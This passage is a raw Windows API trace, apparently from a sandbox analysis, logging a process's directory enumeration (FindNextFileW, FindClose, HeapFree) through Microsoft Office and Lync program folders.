ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0240.196] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0240.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.196] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0240.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.197] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0240.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.393] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0240.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.502] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0240.502] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0240.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.502] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0240.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.505] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0240.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.508] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0240.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.511] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0240.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.512] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0240.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.513] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0240.513] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0240.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.513] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0240.513] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0240.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.514] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0240.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.532] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0240.532] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0240.532] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0240.544] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0240.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.564] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0240.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.564] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0240.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.565] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0 [0240.565] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0240.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.565] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0240.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.567] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0240.567] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0240.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.567] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0240.567] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0240.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.569] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0240.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.572] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0240.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.574] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0240.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0240.577] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0240.577] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0240.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0240.577] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0241.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0241.100] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0241.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0241.154] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0241.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0241.157] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0241.157] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0241.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0241.157] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0241.157] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0241.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0241.158] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0241.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0241.365] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0241.365] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0241.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0241.365] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0242.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0242.261] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0242.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0242.477] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0242.477] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0242.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0242.477] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0243.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0243.524] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0243.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0243.549] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0243.559] HeapFree 